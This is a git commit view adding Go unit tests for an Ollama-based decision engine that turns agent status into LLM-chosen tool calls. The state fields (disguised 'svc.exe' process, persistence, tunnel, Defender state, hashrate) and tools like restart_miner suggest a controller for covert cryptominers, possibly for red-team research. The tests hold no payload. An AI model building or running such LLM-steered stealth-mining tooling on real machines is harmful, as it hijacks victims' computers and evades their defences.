feat: T1016 dns_config probe + server-side drift detection + Crucible DNS DRIFT badge
This commit is contained in:
225
server/internal/ollama/engine_test.go
Normal file
225
server/internal/ollama/engine_test.go
Normal file
@@ -0,0 +1,225 @@
|
||||
package ollama
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
)
|
||||
|
||||
func TestNewEngineDefaults(t *testing.T) {
|
||||
e := NewEngine("", "")
|
||||
if e.endpoint != "http://localhost:11434" {
|
||||
t.Fatalf("endpoint default: %q", e.endpoint)
|
||||
}
|
||||
if e.model != "llama3.2" {
|
||||
t.Fatalf("model default: %q", e.model)
|
||||
}
|
||||
if e.systemPrompt == "" {
|
||||
t.Fatal("system prompt should be populated")
|
||||
}
|
||||
}
|
||||
|
||||
func TestNewEngineTrimsTrailingSlash(t *testing.T) {
|
||||
e := NewEngine("http://127.0.0.1:11434/", "mistral")
|
||||
if e.endpoint != "http://127.0.0.1:11434" {
|
||||
t.Fatalf("endpoint trim: %q", e.endpoint)
|
||||
}
|
||||
if e.model != "mistral" {
|
||||
t.Fatalf("model: %q", e.model)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAgentStateJSONRoundTrip(t *testing.T) {
|
||||
state := AgentState{
|
||||
AgentID: "a1", WorkerName: "w", Hostname: "host",
|
||||
UptimeSeconds: 100, IsRunning: true, CPUCores: 4,
|
||||
CPUUsagePct: 50, MemoryGB: 8, MemoryUsagePct: 40,
|
||||
Hashrate15m: 500, SharesTotal: 10, SharesGood: 9, SharesBad: 1,
|
||||
ProcessName: "svc.exe", InstallPath: `C:\svc`, HasPersistence: true,
|
||||
HasTunnel: false, DefenderState: "enabled", LastError: "none",
|
||||
}
|
||||
b, err := json.Marshal(state)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
var out AgentState
|
||||
if err := json.Unmarshal(b, &out); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if out.AgentID != state.AgentID || out.LastError != state.LastError {
|
||||
t.Fatalf("round trip mismatch: %+v", out)
|
||||
}
|
||||
}
|
||||
|
||||
func TestToolCallAndDecideResponseJSONRoundTrip(t *testing.T) {
|
||||
resp := DecideResponse{
|
||||
Reasoning: "restart needed",
|
||||
ToolCalls: []ToolCall{
|
||||
{Tool: "restart_miner", Args: map[string]string{"process_name": "svc"}, Reason: "down"},
|
||||
},
|
||||
}
|
||||
b, err := json.Marshal(resp)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
var out DecideResponse
|
||||
if err := json.Unmarshal(b, &out); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(out.ToolCalls) != 1 || out.ToolCalls[0].Tool != "restart_miner" {
|
||||
t.Fatalf("unexpected: %+v", out)
|
||||
}
|
||||
}
|
||||
|
||||
func TestReportJSONRoundTrip(t *testing.T) {
|
||||
ts := time.Date(2026, 5, 30, 0, 0, 0, 0, time.UTC)
|
||||
r := Report{AgentID: "a1", Tool: "sleep", Success: true, Output: "ok", Timestamp: ts}
|
||||
b, err := json.Marshal(r)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
var out Report
|
||||
if err := json.Unmarshal(b, &out); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !out.Timestamp.Equal(ts) || out.Tool != "sleep" {
|
||||
t.Fatalf("unexpected: %+v", out)
|
||||
}
|
||||
}
|
||||
|
||||
func mockChatServer(t *testing.T, content string, status int) *httptest.Server {
|
||||
t.Helper()
|
||||
if status == 0 {
|
||||
status = http.StatusOK
|
||||
}
|
||||
return httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
switch r.URL.Path {
|
||||
case "/api/chat":
|
||||
w.WriteHeader(status)
|
||||
if status == http.StatusOK {
|
||||
_ = json.NewEncoder(w).Encode(ollamaResponse{
|
||||
Message: ollamaMessage{Role: "assistant", Content: content},
|
||||
Done: true,
|
||||
})
|
||||
}
|
||||
case "/api/tags":
|
||||
w.WriteHeader(status)
|
||||
default:
|
||||
http.NotFound(w, r)
|
||||
}
|
||||
}))
|
||||
}
|
||||
|
||||
func TestDecidePlainJSON(t *testing.T) {
|
||||
content := `{"reasoning":"ok","tool_calls":[{"tool":"sleep","args":{"seconds":"5"},"reason":"idle"}]}`
|
||||
srv := mockChatServer(t, content, 0)
|
||||
defer srv.Close()
|
||||
|
||||
e := NewEngine(srv.URL, "test")
|
||||
state := &AgentState{AgentID: "a1", IsRunning: true}
|
||||
resp, err := e.Decide(state)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if resp.Reasoning != "ok" || len(resp.ToolCalls) != 1 || resp.ToolCalls[0].Tool != "sleep" {
|
||||
t.Fatalf("unexpected: %+v", resp)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDecideMarkdownJSONBlock(t *testing.T) {
|
||||
content := "Here is the plan:\n```json\n{\"reasoning\":\"markdown\",\"tool_calls\":[]}\n```\n"
|
||||
srv := mockChatServer(t, content, 0)
|
||||
defer srv.Close()
|
||||
|
||||
e := NewEngine(srv.URL, "test")
|
||||
resp, err := e.Decide(&AgentState{AgentID: "a1"})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if resp.Reasoning != "markdown" {
|
||||
t.Fatalf("expected markdown reasoning, got %q", resp.Reasoning)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDecideExtractsEmbeddedJSON(t *testing.T) {
|
||||
content := `Analysis complete. {"reasoning":"embedded","tool_calls":[]} End.`
|
||||
srv := mockChatServer(t, content, 0)
|
||||
defer srv.Close()
|
||||
|
||||
e := NewEngine(srv.URL, "test")
|
||||
resp, err := e.Decide(&AgentState{AgentID: "a1"})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if resp.Reasoning != "embedded" {
|
||||
t.Fatalf("expected embedded reasoning, got %q", resp.Reasoning)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDecideOllamaHTTPError(t *testing.T) {
|
||||
srv := mockChatServer(t, "", http.StatusInternalServerError)
|
||||
defer srv.Close()
|
||||
|
||||
e := NewEngine(srv.URL, "test")
|
||||
_, err := e.Decide(&AgentState{AgentID: "a1"})
|
||||
if err == nil || !strings.Contains(err.Error(), "status 500") {
|
||||
t.Fatalf("expected status error, got %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDecideOllamaAPIErrorField(t *testing.T) {
|
||||
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
w.WriteHeader(http.StatusOK)
|
||||
_, _ = w.Write([]byte(`{"error":"model not found","done":true}`))
|
||||
}))
|
||||
defer srv.Close()
|
||||
|
||||
e := NewEngine(srv.URL, "missing")
|
||||
_, err := e.Decide(&AgentState{AgentID: "a1"})
|
||||
if err == nil || !strings.Contains(err.Error(), "model not found") {
|
||||
t.Fatalf("expected ollama error, got %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDecideInvalidLLMJSON(t *testing.T) {
|
||||
srv := mockChatServer(t, "not json at all", 0)
|
||||
defer srv.Close()
|
||||
|
||||
e := NewEngine(srv.URL, "test")
|
||||
_, err := e.Decide(&AgentState{AgentID: "a1"})
|
||||
if err == nil || !strings.Contains(err.Error(), "parse LLM response") {
|
||||
t.Fatalf("expected parse error, got %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestHealthCheckSuccess(t *testing.T) {
|
||||
srv := mockChatServer(t, "", 0)
|
||||
defer srv.Close()
|
||||
|
||||
e := NewEngine(srv.URL, "test")
|
||||
if err := e.HealthCheck(); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestHealthCheckFailure(t *testing.T) {
|
||||
srv := mockChatServer(t, "", http.StatusServiceUnavailable)
|
||||
defer srv.Close()
|
||||
|
||||
e := NewEngine(srv.URL, "test")
|
||||
if err := e.HealthCheck(); err == nil {
|
||||
t.Fatal("expected health check error")
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildSystemPromptContainsTools(t *testing.T) {
|
||||
prompt := buildSystemPrompt()
|
||||
for _, tool := range []string{"check_miner", "restart_miner", "upload_log", "85%"} {
|
||||
if !strings.Contains(prompt, tool) {
|
||||
t.Fatalf("prompt missing %q", tool)
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user